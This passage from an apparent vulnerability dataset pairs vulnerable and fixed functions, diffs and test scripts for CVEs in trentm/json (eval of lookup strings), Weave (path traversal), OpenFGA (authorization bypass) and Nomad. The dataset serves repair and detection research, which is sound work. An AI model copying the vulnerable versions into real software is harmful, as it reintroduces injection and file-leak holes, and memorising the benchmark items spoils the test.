'';\n    var states = [null];\n    var escaped = false;\n    var ch = null;\n    for (var i = 0; i < lookup.length; ++i) {\n        var ch = lookup[i];\n        debug('-- i=' + i + ', ch=' + JSON.stringify(ch) + ' escaped=' +\n            JSON.stringify(escaped));\n        debug('states: ' + JSON.stringify(states));\n\n        // Handle a *limited subset* of JS string escapes.\n        // JSSTYLED\n        // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation\n        var SUPPORTED_ESCAPES = {\n            '\\'': '\\'',\n            '\\\"': '\\\"',\n            '\\`': '\\`',\n            '\\\\': '\\\\',\n            'n': '\\n',\n            'r': '\\r',\n            't': '\\t',\n            'v': '\\v',\n            'b': '\\b',\n            'f': '\\f'\n        };\n        if (ch === '\\\\' && i+1 < lookup.length) {\n            var nextCh = lookup[i+1];\n            var escapedCh = SUPPORTED_ESCAPES[nextCh];\n            if (escapedCh !== undefined) {\n                debug('escaped: %j -> %j', ch+nextCh, escapedCh);\n                bit += escapedCh;\n                i++;\n                continue;\n            }\n        }\n\n        switch (states[states.length - 1]) {\n        case null:\n            switch (ch) {\n            case '\"':\n            case '\\'':\n                states.push(ch);\n                bit += ch;\n                break;\n            case '[':\n                states.push(ch);\n                if (bit !== '') {\n                    bits.push(bit);\n                    bit = ''\n                }\n                bit += ch;\n                break;\n            case lookupDelim:\n                if (bit !== '') {\n                    bits.push(bit);\n                    bit = ''\n                }\n                break;\n            default:\n                bit += ch;\n                break;\n            }\n            break;\n\n        case '[':\n            bit += ch;\n            switch (ch) {\n            case '\"':\n            case '\\'':\n            case '[':\n                states.push(ch);\n                break;\n            case ']':\n                states.pop();\n                if (states[states.length - 1] === null) {\n                    // `bit` is a bracketed string, `[...]`.\n                    //\n                    // The *intent* is to allow specifying an object key\n                    // that would otherwise get interpreted by `json`s\n                    // LOOKUP parsing -- typically if the key has a `.` in it.\n                    //\n                    // Up to and including json v9, this was handled by eval'ing\n                    // the given string inside the brackets (via\n                    // `vm.runInNewContext`). However, trentm/json#144 shows\n                    // that this is an avenue for command injection. It was\n                    // never made clear in `json` documentation that one\n                    // should never use user-provided strings for LOOKUPs, so\n                    // we should close this vulnerability.\n                    //\n                    // Expected usage and documented examples are like this:\n                    //      [\"foo.bar\"]\n                    //      ['foo.bar']\n                    // However, older implementation of eval'ing meant that\n                    // things like the following worked:\n                    //      [42]\n                    //      [\"my\" + \"key\"]\n                    //      [(function () { return \"mykey\" })()]\n                    //\n                    // The documentation was never explicit about denying\n                    // expressions would work. v10 **breaks compatibility**\n                    // to only support a bracketed string:\n                    //      [\"...\"]\n                    //      ['...']\n                    //      [`...`]   # note: no var interpolation is done\n                    // and error otherwise.\n                    var VALID_QUOTES = '\"\\'`';\n                    var sQuote = bit[1];\n                    var eQuote = bit.slice(-2, -1);\n                    if (VALID_QUOTES.indexOf(sQuote) === -1 ||\n                        sQuote !== eQuote)\n                    {\n                        throw new Error(format('invalid bracketed lookup ' +\n                            'string: %j (must be of the form [\\'...\\'], ' +\n                            '[\"...\"], or [`...`])', bit));\n                    }\n                    bits.push(bit.slice(2, -2));\n                    bit = ''\n                }\n                break;\n            }\n            break;\n\n        case '\"':\n            bit += ch;\n            switch (ch) {\n            case '\"':\n                states.pop();\n                if (states[states.length - 1] === null) {\n                    bits.push(bit);\n                    bit = ''\n                }\n                break;\n            }\n            break;\n\n        case '\\'':\n            bit += ch;\n            switch (ch) {\n            case '\\'':\n                states.pop();\n                if (states[states.length - 1] === null) {\n                    bits.push(bit);\n                    bit = ''\n                }\n                break;\n            }\n            break;\n        }\n        debug('bit: ' + JSON.stringify(bit));\n        debug('bits: ' + JSON.stringify(bits));\n    }\n\n    if (bit !== '') {\n        bits.push(bit);\n        bit = ''\n    }\n\n    // Negative-intify: strings that are negative ints we change to a Number for\n    // special handling in `lookupDatum`: Python-style negative array indexing.\n    var negIntPat = /^-\\d+$/;\n    for (var i = 0; i < bits.length; i++) {\n        if (negIntPat.test(bits[i])) {\n            bits[i] = Number(bits[i]);\n        }\n    }\n\n    debug(JSON.stringify(lookup) + ' -> ' + JSON.stringify(bits));\n    return bits\n}"}, {"id": "fix_js_189_2", "commit": "cc47981", "file_path": "lib/json.js", "start_line": 1306, "end_line": 1451, "snippet": "function main(argv) {\n    var opts;\n    try {\n        opts = parseArgv(argv);\n    } catch (e) {\n        warn('json: error: %s', e.message)\n        return drainStdoutAndExit(1);\n    }\n    //warn(opts);\n    if (opts.help) {\n        printHelp();\n        return;\n    }\n    if (opts.version) {\n        if (opts.outputMode === OM_JSON) {\n            var v = {\n                version: getVersion(),\n                author: 'Trent Mick',\n                project: 'https://github.com/trentm/json'\n            };\n            console.log(JSON.stringify(v, null, opts.jsonIndent));\n        } else {\n            console.log('json ' + getVersion());\n            console.log('written by Trent Mick');\n            console.log('https://github.com/trentm/json');\n        }\n        return;\n    }\n    var lookupStrs = opts.args;\n\n    // Prepare condition and execution funcs (and vm scripts) for -c/-e.\n    var execVm = Boolean(process.env.JSON_EXEC &&\n        process.env.JSON_EXEC === 'vm');\n    var i;\n    var condFuncs = [];\n    if (!execVm) {\n        for (i = 0; i < opts.condSnippets.length; i++) {\n            condFuncs[i] = funcWithReturnFromSnippet(opts.condSnippets[i]);\n        }\n    }\n    var condScripts = [];\n    if (execVm) {\n        for (i = 0; i < opts.condSnippets.length; i++) {\n            condScripts[i] = vm.createScript(opts.condSnippets[i]);\n        }\n    }\n    var cond = Boolean(condFuncs.length + condScripts.length);\n    var exeFuncs = [];\n    if (!execVm) {\n        for (i = 0; i < opts.exeSnippets.length; i++) {\n            exeFuncs[i] = new Function(opts.exeSnippets[i]);\n        }\n    }\n    var exeScripts = [];\n    if (execVm) {\n        for (i = 0; i < opts.exeSnippets.length; i++) {\n            exeScripts[i] = vm.createScript(opts.exeSnippets[i]);\n        }\n    }\n    var exe = Boolean(exeFuncs.length + exeScripts.length);\n\n    try {\n        var lookups = lookupStrs.map(function (lookup) {\n            return parseLookup(lookup, opts.lookupDelim);\n        });\n    } catch (e) {\n        warn('json: error: %s', e.message)\n        return drainStdoutAndExit(1);\n    }\n\n    if (opts.group && opts.array && opts.outputMode !== OM_JSON) {\n        // streaming\n        var chunker = chunkEmitter(opts);\n        chunker.on('error', function (error) {\n            warn('json: error: %s', err.message);\n            return drainStdoutAndExit(1);\n        });\n        chunker.on('chunk', parseChunk);\n    } else if (opts.inPlace) {\n        assert.equal(opts.inputFiles.length, 1,\n            'cannot handle more than one file with -I');\n        getInput(opts, function (err, content, filename) {\n            if (err) {\n                warn('json: error: %s', err.message)\n                return drainStdoutAndExit(1);\n            }\n\n            // Take off a leading HTTP header if any and pass it through.\n            var headers = [];\n            while (true) {\n                if (content.slice(0, 5) === 'HTTP/') {\n                    var index = content.indexOf('\\r\\n\\r\\n');\n                    var sepLen = 4;\n                    if (index == -1) {\n                        index = content.indexOf('\\n\\n');\n                        sepLen = 2;\n                    }\n                    if (index != -1) {\n                        if (!opts.dropHeaders) {\n                            headers.push(content.slice(0, index + sepLen));\n                        }\n                        var is100Continue = (\n                            content.slice(0, 21) === 'HTTP/1.1 100 Continue');\n                        content = content.slice(index + sepLen);\n                        if (is100Continue) {\n                            continue;\n                        }\n                    }\n                }\n                break;\n            }\n            parseChunk(content, undefined, filename, true, headers.join(''));\n        });\n    } else {\n        // not streaming\n        getInput(opts, function (err, buffer, filename) {\n            if (err) {\n                warn('json: error: %s', err.message)\n                return drainStdoutAndExit(1);\n            }\n            // Take off a leading HTTP header if any and pass it through.\n            while (true) {\n                if (buffer.slice(0, 5) === 'HTTP/') {\n                    var index = buffer.indexOf('\\r\\n\\r\\n');\n                    var sepLen = 4;\n                    if (index == -1) {\n                        index = buffer.indexOf('\\n\\n');\n                        sepLen = 2;\n                    }\n                    if (index != -1) {\n                        if (!opts.dropHeaders) {\n                            emit(buffer.slice(0, index + sepLen));\n                        }\n                        var is100Continue = (\n                            buffer.slice(0, 21) === 'HTTP/1.1 100 Continue');\n                        buffer = buffer.slice(index + sepLen);\n                        if (is100Continue) {\n                            continue;\n                        }\n                    }\n                }\n                break;\n            }\n            parseChunk(buffer, null, filename, false);\n        });\n    }"}], "vul_patch": "--- a/lib/json.js\n+++ b/lib/json.js\n@@ -1,6 +1,6 @@\n function parseLookup(lookup, lookupDelim) {\n     var debug = function () {};\n-    //var debug = console.warn;\n+    // var debug = console.warn;\n \n     var bits = [];\n     debug('\\n*** ' + lookup + ' ***');\n@@ -12,15 +12,35 @@\n     var escaped = false;\n     var ch = null;\n     for (var i = 0; i < lookup.length; ++i) {\n-        var escaped = (!escaped && ch === '\\\\');\n         var ch = lookup[i];\n         debug('-- i=' + i + ', ch=' + JSON.stringify(ch) + ' escaped=' +\n             JSON.stringify(escaped));\n         debug('states: ' + JSON.stringify(states));\n \n-        if (escaped) {\n-            bit += ch;\n-            continue;\n+        // Handle a *limited subset* of JS string escapes.\n+        // JSSTYLED\n+        // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation\n+        var SUPPORTED_ESCAPES = {\n+            '\\'': '\\'',\n+            '\\\"': '\\\"',\n+            '\\`': '\\`',\n+            '\\\\': '\\\\',\n+            'n': '\\n',\n+            'r': '\\r',\n+            't': '\\t',\n+            'v': '\\v',\n+            'b': '\\b',\n+            'f': '\\f'\n+        };\n+        if (ch === '\\\\' && i+1 < lookup.length) {\n+            var nextCh = lookup[i+1];\n+            var escapedCh = SUPPORTED_ESCAPES[nextCh];\n+            if (escapedCh !== undefined) {\n+                debug('escaped: %j -> %j', ch+nextCh, escapedCh);\n+                bit += escapedCh;\n+                i++;\n+                continue;\n+            }\n         }\n \n         switch (states[states.length - 1]) {\n@@ -62,9 +82,47 @@\n             case ']':\n                 states.pop();\n                 if (states[states.length - 1] === null) {\n-                    var evaled = vm.runInNewContext(\n-                        '(' + bit.slice(1, -1) + ')', {}, '<lookup>');\n-                    bits.push(evaled);\n+                    // `bit` is a bracketed string, `[...]`.\n+                    //\n+                    // The *intent* is to allow specifying an object key\n+                    // that would otherwise get interpreted by `json`s\n+                    // LOOKUP parsing -- typically if the key has a `.` in it.\n+                    //\n+                    // Up to and including json v9, this was handled by eval'ing\n+                    // the given string inside the brackets (via\n+                    // `vm.runInNewContext`). However, trentm/json#144 shows\n+                    // that this is an avenue for command injection. It was\n+                    // never made clear in `json` documentation that one\n+                    // should never use user-provided strings for LOOKUPs, so\n+                    // we should close this vulnerability.\n+                    //\n+                    // Expected usage and documented examples are like this:\n+                    //      [\"foo.bar\"]\n+                    //      ['foo.bar']\n+                    // However, older implementation of eval'ing meant that\n+                    // things like the following worked:\n+                    //      [42]\n+                    //      [\"my\" + \"key\"]\n+                    //      [(function () { return \"mykey\" })()]\n+                    //\n+                    // The documentation was never explicit about denying\n+                    // expressions would work. v10 **breaks compatibility**\n+                    // to only support a bracketed string:\n+                    //      [\"...\"]\n+                    //      ['...']\n+                    //      [`...`]   # note: no var interpolation is done\n+                    // and error otherwise.\n+                    var VALID_QUOTES = '\"\\'`';\n+                    var sQuote = bit[1];\n+                    var eQuote = bit.slice(-2, -1);\n+                    if (VALID_QUOTES.indexOf(sQuote) === -1 ||\n+                        sQuote !== eQuote)\n+                    {\n+                        throw new Error(format('invalid bracketed lookup ' +\n+                            'string: %j (must be of the form [\\'...\\'], ' +\n+                            '[\"...\"], or [`...`])', bit));\n+                    }\n+                    bits.push(bit.slice(2, -2));\n                     bit = ''\n                 }\n                 break;\n\n--- a/lib/json.js\n+++ b/lib/json.js\n@@ -59,9 +59,14 @@\n     }\n     var exe = Boolean(exeFuncs.length + exeScripts.length);\n \n-    var lookups = lookupStrs.map(function (lookup) {\n-        return parseLookup(lookup, opts.lookupDelim);\n-    });\n+    try {\n+        var lookups = lookupStrs.map(function (lookup) {\n+            return parseLookup(lookup, opts.lookupDelim);\n+        });\n+    } catch (e) {\n+        warn('json: error: %s', e.message)\n+        return drainStdoutAndExit(1);\n+    }\n \n     if (opts.group && opts.array && opts.outputMode !== OM_JSON) {\n         // streaming\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-7340", "cve_description": "The Weave server API allows remote users to fetch files from a specific directory, but due to a lack of input validation, it is possible to traverse and leak arbitrary files remotely. In various common scenarios, this allows a low-privileged user to assume the role of the server admin.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/wandb/weave", "patch_url": ["https://github.com/wandb/weave/commit/f43d5fb75e0d52933a52ecd9a0ce2f9b082e6c9f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_132_1", "commit": "c28d8d5", "file_path": "weave/weave_server.py", "start_line": 398, "end_line": 411, "snippet": "def send_local_file(path):\n    # path is given relative to the FS root. check to see that path is a subdirectory of the\n    # local artifacts path. if not, return 403. then if there is a cache scope function defined\n    # call it to make sure we have access to the path\n    abspath = (\n        \"/\" / pathlib.Path(path)\n    )  # add preceding slash as werkzeug strips this by default and it is reappended below in send_from_directory\n    try:\n        local_artifacts_path = pathlib.Path(filesystem.get_filesystem_dir()).absolute()\n    except errors.WeaveAccessDeniedError:\n        abort(403)\n    if local_artifacts_path not in list(abspath.parents):\n        abort(403)\n    return send_from_directory(\"/\", path)"}], "fix_func": [{"id": "fix_py_132_1", "commit": "f43d5fb", "file_path": "weave/weave_server.py", "start_line": 398, "end_line": 417, "snippet": "def send_local_file(path):\n    try:\n        # Retrieve and normalize the local artifacts path\n        local_artifacts_path = pathlib.Path(filesystem.get_filesystem_dir()).resolve(\n            strict=True\n        )\n\n        # Construct the full absolute path of the requested file\n        requested_path = (local_artifacts_path / path).resolve(strict=True)\n\n        # Ensure the requested path is within the local artifacts directory\n        if not str(requested_path).startswith(str(local_artifacts_path)):\n            abort(403)\n\n        # Send the file from the directory\n        return send_from_directory(\n            local_artifacts_path, str(requested_path.relative_to(local_artifacts_path))\n        )\n    except (errors.WeaveAccessDeniedError, FileNotFoundError):\n        abort(403)"}], "vul_patch": "--- a/weave/weave_server.py\n+++ b/weave/weave_server.py\n@@ -1,14 +1,20 @@\n def send_local_file(path):\n-    # path is given relative to the FS root. check to see that path is a subdirectory of the\n-    # local artifacts path. if not, return 403. then if there is a cache scope function defined\n-    # call it to make sure we have access to the path\n-    abspath = (\n-        \"/\" / pathlib.Path(path)\n-    )  # add preceding slash as werkzeug strips this by default and it is reappended below in send_from_directory\n     try:\n-        local_artifacts_path = pathlib.Path(filesystem.get_filesystem_dir()).absolute()\n-    except errors.WeaveAccessDeniedError:\n+        # Retrieve and normalize the local artifacts path\n+        local_artifacts_path = pathlib.Path(filesystem.get_filesystem_dir()).resolve(\n+            strict=True\n+        )\n+\n+        # Construct the full absolute path of the requested file\n+        requested_path = (local_artifacts_path / path).resolve(strict=True)\n+\n+        # Ensure the requested path is within the local artifacts directory\n+        if not str(requested_path).startswith(str(local_artifacts_path)):\n+            abort(403)\n+\n+        # Send the file from the directory\n+        return send_from_directory(\n+            local_artifacts_path, str(requested_path.relative_to(local_artifacts_path))\n+        )\n+    except (errors.WeaveAccessDeniedError, FileNotFoundError):\n         abort(403)\n-    if local_artifacts_path not in list(abspath.parents):\n-        abort(403)\n-    return send_from_directory(\"/\", path)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-46331", "cve_description": "OpenFGA is a high-performance and flexible authorization/permission engine built for developers and inspired by Google Zanzibar. OpenFGA v1.8.10 to v1.3.6 (Helm chart <= openfga-0.2.28, docker <= v.1.8.10) are vulnerable to authorization bypass when certain Check and ListObject calls are executed. This issue has been patched in version 1.8.11.", "cwe_info": {"CWE-284": {"name": "Improper Access Control", "description": "The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor."}}, "repo": "https://github.com/openfga/openfga", "patch_url": ["https://github.com/openfga/openfga/commit/244302e7a8b979d66cc1874a3899cdff7d47862f"], "programing_language": "Go", "vul_func": [{"id": "vul_go_67_1", "commit": "1486ac4", "file_path": "internal/graph/cached_resolver.go", "start_line": 145, "end_line": 194, "snippet": "func (c *CachedCheckResolver) ResolveCheck(\n\tctx context.Context,\n\treq *ResolveCheckRequest,\n) (*ResolveCheckResponse, error) {\n\tspan := trace.SpanFromContext(ctx)\n\n\tcacheKey := BuildCacheKey(*req)\n\n\ttryCache := req.Consistency != openfgav1.ConsistencyPreference_HIGHER_CONSISTENCY\n\n\tif tryCache {\n\t\tcheckCacheTotalCounter.Inc()\n\t\tif cachedResp := c.cache.Get(cacheKey); cachedResp != nil {\n\t\t\tres := cachedResp.(*CheckResponseCacheEntry)\n\t\t\tisValid := res.LastModified.After(req.LastCacheInvalidationTime)\n\t\t\tc.logger.Debug(\"CachedCheckResolver found cache key\",\n\t\t\t\tzap.String(\"store_id\", req.GetStoreID()),\n\t\t\t\tzap.String(\"authorization_model_id\", req.GetAuthorizationModelID()),\n\t\t\t\tzap.String(\"tuple_key\", req.GetTupleKey().String()),\n\t\t\t\tzap.Bool(\"isValid\", isValid))\n\n\t\t\tspan.SetAttributes(attribute.Bool(\"cached\", isValid))\n\t\t\tif isValid {\n\t\t\t\tcheckCacheHitCounter.Inc()\n\t\t\t\t// return a copy to avoid races across goroutines\n\t\t\t\treturn res.CheckResponse.clone(), nil\n\t\t\t}\n\n\t\t\t// we tried the cache and hit an invalid entry\n\t\t\tcheckCacheInvalidHit.Inc()\n\t\t} else {\n\t\t\tc.logger.Debug(\"CachedCheckResolver not found cache key\",\n\t\t\t\tzap.String(\"store_id\", req.GetStoreID()),\n\t\t\t\tzap.String(\"authorization_model_id\", req.GetAuthorizationModelID()),\n\t\t\t\tzap.String(\"tuple_key\", req.GetTupleKey().String()))\n\t\t}\n\t}\n\n\t// not in cache, or consistency options experimental flag is set, and consistency param set to HIGHER_CONSISTENCY\n\tresp, err := c.delegate.ResolveCheck(ctx, req)\n\tif err != nil {\n\t\ttelemetry.TraceError(span, err)\n\t\treturn nil, err\n\t}\n\n\tclonedResp := resp.clone()\n\n\tc.cache.Set(cacheKey, &CheckResponseCacheEntry{LastModified: time.Now(), CheckResponse: clonedResp}, c.cacheTTL)\n\treturn resp, nil\n}"}], "fix_func": [{"id": "fix_go_67_1", "commit": "244302e", "file_path": "internal/graph/cached_resolver.go", "start_line": 145, "end_line": 206, "snippet": "func (c *CachedCheckResolver) ResolveCheck(\n\tctx context.Context,\n\treq *ResolveCheckRequest,\n) (*ResolveCheckResponse, error) {\n\tspan := trace.SpanFromContext(ctx)\n\n\tcacheKey := BuildCacheKey(*req)\n\n\ttryCache := req.Consistency != openfgav1.ConsistencyPreference_HIGHER_CONSISTENCY\n\n\tif tryCache {\n\t\tcheckCacheTotalCounter.Inc()\n\t\tif cachedResp := c.cache.Get(cacheKey); cachedResp != nil {\n\t\t\tres := cachedResp.(*CheckResponseCacheEntry)\n\t\t\tisValid := res.LastModified.After(req.LastCacheInvalidationTime)\n\t\t\tc.logger.Debug(\"CachedCheckResolver found cache key\",\n\t\t\t\tzap.String(\"store_id\", req.GetStoreID()),\n\t\t\t\tzap.String(\"authorization_model_id\", req.GetAuthorizationModelID()),\n\t\t\t\tzap.String(\"tuple_key\", req.GetTupleKey().String()),\n\t\t\t\tzap.Bool(\"isValid\", isValid))\n\n\t\t\tspan.SetAttributes(attribute.Bool(\"cached\", isValid))\n\t\t\tif isValid {\n\t\t\t\tcheckCacheHitCounter.Inc()\n\t\t\t\t// return a copy to avoid races across goroutines\n\t\t\t\treturn res.CheckResponse.clone(), nil\n\t\t\t}\n\n\t\t\t// we tried the cache and hit an invalid entry\n\t\t\tcheckCacheInvalidHit.Inc()\n\t\t} else {\n\t\t\tc.logger.Debug(\"CachedCheckResolver not found cache key\",\n\t\t\t\tzap.String(\"store_id\", req.GetStoreID()),\n\t\t\t\tzap.String(\"authorization_model_id\", req.GetAuthorizationModelID()),\n\t\t\t\tzap.String(\"tuple_key\", req.GetTupleKey().String()))\n\t\t}\n\t}\n\n\t// not in cache, or consistency options experimental flag is set, and consistency param set to HIGHER_CONSISTENCY\n\tresp, err := c.delegate.ResolveCheck(ctx, req)\n\tif err != nil {\n\t\ttelemetry.TraceError(span, err)\n\t\treturn nil, err\n\t}\n\n\t// when the response indicates cycle detected. The result is indeterminate because the\n\t// parent of the cycle could have resolved to true. Thus, we don't save the result and let\n\t// the parent handle it.\n\tif resp.GetCycleDetected() {\n\t\tspan.SetAttributes(attribute.Bool(\"cycle_detected\", true))\n\t\tc.logger.Debug(\"CachedCheckResolver not saving to cache due to cycle\",\n\t\t\tzap.String(\"store_id\", req.GetStoreID()),\n\t\t\tzap.String(\"authorization_model_id\", req.GetAuthorizationModelID()),\n\t\t\tzap.String(\"tuple_key\", req.GetTupleKey().String()))\n\t\treturn resp, nil\n\t}\n\n\tclonedResp := resp.clone()\n\n\tc.cache.Set(cacheKey, &CheckResponseCacheEntry{LastModified: time.Now(), CheckResponse: clonedResp}, c.cacheTTL)\n\treturn resp, nil\n}"}], "vul_patch": "--- a/internal/graph/cached_resolver.go\n+++ b/internal/graph/cached_resolver.go\n@@ -43,6 +43,18 @@\n \t\treturn nil, err\n \t}\n \n+\t// when the response indicates cycle detected. The result is indeterminate because the\n+\t// parent of the cycle could have resolved to true. Thus, we don't save the result and let\n+\t// the parent handle it.\n+\tif resp.GetCycleDetected() {\n+\t\tspan.SetAttributes(attribute.Bool(\"cycle_detected\", true))\n+\t\tc.logger.Debug(\"CachedCheckResolver not saving to cache due to cycle\",\n+\t\t\tzap.String(\"store_id\", req.GetStoreID()),\n+\t\t\tzap.String(\"authorization_model_id\", req.GetAuthorizationModelID()),\n+\t\t\tzap.String(\"tuple_key\", req.GetTupleKey().String()))\n+\t\treturn resp, nil\n+\t}\n+\n \tclonedResp := resp.clone()\n \n \tc.cache.Set(cacheKey, &CheckResponseCacheEntry{LastModified: time.Now(), CheckResponse: clonedResp}, c.cacheTTL)\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2025-46331:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/openfga\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test -timeout 30s -run ^TestCachedCheckResolver_FieldsInResponse$ github.com/openfga/openfga/internal/graph\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2025-46331:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/openfga\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestResolveCheck_ConcurrentCachedReadsAndWrites|TestResolveCheckFromCache|TestBuildCacheKey|TestResolveCheckExpired|TestResolveCheckLastChangelogRecent)$' github.com/openfga/openfga/internal/graph"}
{"cve_id": "CVE-2020-28348", "cve_description": "HashiCorp Nomad and Nomad Enterprise 0.9.0 up to 0.12.7 client Docker file sandbox feature may be subverted when not explicitly disabled or when using a volume mount type. Fixed in 0.12.8, 0.11.7, and 0.10.8.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/hashicorp/nomad", "patch_url": ["https://github.com/hashicorp/nomad/commit/9c1073d9633691ff7ba8804f59c68b822af521bd", "https://github.com/hashicorp/nomad/commit/d81120b0fd97c3d2acb65983d89ff8f9241bcdf9", "https://github.com/hashicorp/nomad/commit/60871f6024469d6846a473269b9aa637b6e42d0e"], "programing_language": "Go", "vul_func": [{"id": "vul_go_260_1", "commit": "cd01438c153b844009f501a7cc5447137f398094", "file_path": "drivers/docker/driver.go", "start_line": 675, "end_line": 1050, "snippet": "func (d *Driver) createContainerConfig(task *drivers.TaskConfig, driverConfig *TaskConfig,\n\timageID string) (docker.CreateContainerOptions, error) {\n\n\t// ensure that PortMap variables are populated early on\n\ttask.Env = taskenv.SetPortMapEnvs(task.Env, driverConfig.PortMap)\n\n\tlogger := d.logger.With(\"task_name\", task.Name)\n\tvar c docker.CreateContainerOptions\n\tif task.Resources == nil {\n\t\t// Guard against missing resources. We should never have been able to\n\t\t// schedule a job without specifying this.\n\t\tlogger.Error(\"task.Resources is empty\")\n\t\treturn c, fmt.Errorf(\"task.Resources is empty\")\n\t}\n\n\tbinds, err := d.containerBinds(task, driverConfig)\n\tif err != nil {\n\t\treturn c, err\n\t}\n\tlogger.Trace(\"binding volumes\", \"volumes\", binds)\n\n\t// create the config block that will later be consumed by go-dockerclient\n\tconfig := &docker.Config{\n\t\tImage:      imageID,\n\t\tEntrypoint: driverConfig.Entrypoint,\n\t\tHostname:   driverConfig.Hostname,\n\t\tUser:       task.User,\n\t\tTty:        driverConfig.TTY,\n\t\tOpenStdin:  driverConfig.Interactive,\n\t}\n\n\tif driverConfig.WorkDir != \"\" {\n\t\tconfig.WorkingDir = driverConfig.WorkDir\n\t}\n\n\thostConfig := &docker.HostConfig{\n\t\tMemory:    task.Resources.LinuxResources.MemoryLimitBytes,\n\t\tCPUShares: task.Resources.LinuxResources.CPUShares,\n\n\t\t// Binds are used to mount a host volume into the container. We mount a\n\t\t// local directory for storage and a shared alloc directory that can be\n\t\t// used to share data between different tasks in the same task group.\n\t\tBinds: binds,\n\n\t\tStorageOpt:   driverConfig.StorageOpt,\n\t\tVolumeDriver: driverConfig.VolumeDriver,\n\n\t\tPidsLimit: driverConfig.PidsLimit,\n\t}\n\n\tif _, ok := task.DeviceEnv[nvidiaVisibleDevices]; ok {\n\t\tif !d.gpuRuntime {\n\t\t\treturn c, fmt.Errorf(\"requested docker-runtime %q was not found\", d.config.GPURuntimeName)\n\t\t}\n\t\thostConfig.Runtime = d.config.GPURuntimeName\n\t}\n\n\t// Calculate CPU Quota\n\t// cfs_quota_us is the time per core, so we must\n\t// multiply the time by the number of cores available\n\t// See https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/resource_management_guide/sec-cpu\n\tif driverConfig.CPUHardLimit {\n\t\tnumCores := runtime.NumCPU()\n\t\tif driverConfig.CPUCFSPeriod < 0 || driverConfig.CPUCFSPeriod > 1000000 {\n\t\t\treturn c, fmt.Errorf(\"invalid value for cpu_cfs_period\")\n\t\t}\n\t\tif driverConfig.CPUCFSPeriod == 0 {\n\t\t\tdriverConfig.CPUCFSPeriod = task.Resources.LinuxResources.CPUPeriod\n\t\t}\n\t\thostConfig.CPUPeriod = driverConfig.CPUCFSPeriod\n\t\thostConfig.CPUQuota = int64(task.Resources.LinuxResources.PercentTicks*float64(driverConfig.CPUCFSPeriod)) * int64(numCores)\n\t}\n\n\t// Windows does not support MemorySwap/MemorySwappiness #2193\n\tif runtime.GOOS == \"windows\" {\n\t\thostConfig.MemorySwap = 0\n\t\thostConfig.MemorySwappiness = -1\n\t} else {\n\t\thostConfig.MemorySwap = task.Resources.LinuxResources.MemoryLimitBytes // MemorySwap is memory + swap.\n\t}\n\n\tloggingDriver := driverConfig.Logging.Type\n\tif loggingDriver == \"\" {\n\t\tloggingDriver = driverConfig.Logging.Driver\n\t}\n\n\thostConfig.LogConfig = docker.LogConfig{\n\t\tType:   loggingDriver,\n\t\tConfig: driverConfig.Logging.Config,\n\t}\n\n\tif hostConfig.LogConfig.Type == \"\" && hostConfig.LogConfig.Config == nil {\n\t\tlogger.Trace(\"no docker log driver provided, defaulting to json-file\")\n\t\thostConfig.LogConfig.Type = \"json-file\"\n\t\thostConfig.LogConfig.Config = map[string]string{\n\t\t\t\"max-file\": \"2\",\n\t\t\t\"max-size\": \"2m\",\n\t\t}\n\t}\n\n\tlogger.Debug(\"configured resources\", \"memory\", hostConfig.Memory,\n\t\t\"cpu_shares\", hostConfig.CPUShares, \"cpu_quota\", hostConfig.CPUQuota,\n\t\t\"cpu_period\", hostConfig.CPUPeriod)\n\tlogger.Debug(\"binding directories\", \"binds\", hclog.Fmt(\"%#v\", hostConfig.Binds))\n\n\t//  set privileged mode\n\tif driverConfig.Privileged && !d.config.AllowPrivileged {\n\t\treturn c, fmt.Errorf(`Docker privileged mode is disabled on this Nomad agent`)\n\t}\n\thostConfig.Privileged = driverConfig.Privileged\n\n\t// set capabilities\n\thostCapsWhitelistConfig := d.config.AllowCaps\n\thostCapsWhitelist := make(map[string]struct{})\n\tfor _, cap := range hostCapsWhitelistConfig {\n\t\tcap = strings.ToLower(strings.TrimSpace(cap))\n\t\thostCapsWhitelist[cap] = struct{}{}\n\t}\n\n\tif _, ok := hostCapsWhitelist[\"all\"]; !ok {\n\t\teffectiveCaps, err := tweakCapabilities(\n\t\t\tstrings.Split(dockerBasicCaps, \",\"),\n\t\t\tdriverConfig.CapAdd,\n\t\t\tdriverConfig.CapDrop,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn c, err\n\t\t}\n\t\tvar missingCaps []string\n\t\tfor _, cap := range effectiveCaps {\n\t\t\tcap = strings.ToLower(cap)\n\t\t\tif _, ok := hostCapsWhitelist[cap]; !ok {\n\t\t\t\tmissingCaps = append(missingCaps, cap)\n\t\t\t}\n\t\t}\n\t\tif len(missingCaps) > 0 {\n\t\t\treturn c, fmt.Errorf(\"Docker driver doesn't have the following caps whitelisted on this Nomad agent: %s\", missingCaps)\n\t\t}\n\t}\n\n\thostConfig.CapAdd = driverConfig.CapAdd\n\thostConfig.CapDrop = driverConfig.CapDrop\n\n\t// set SHM size\n\tif 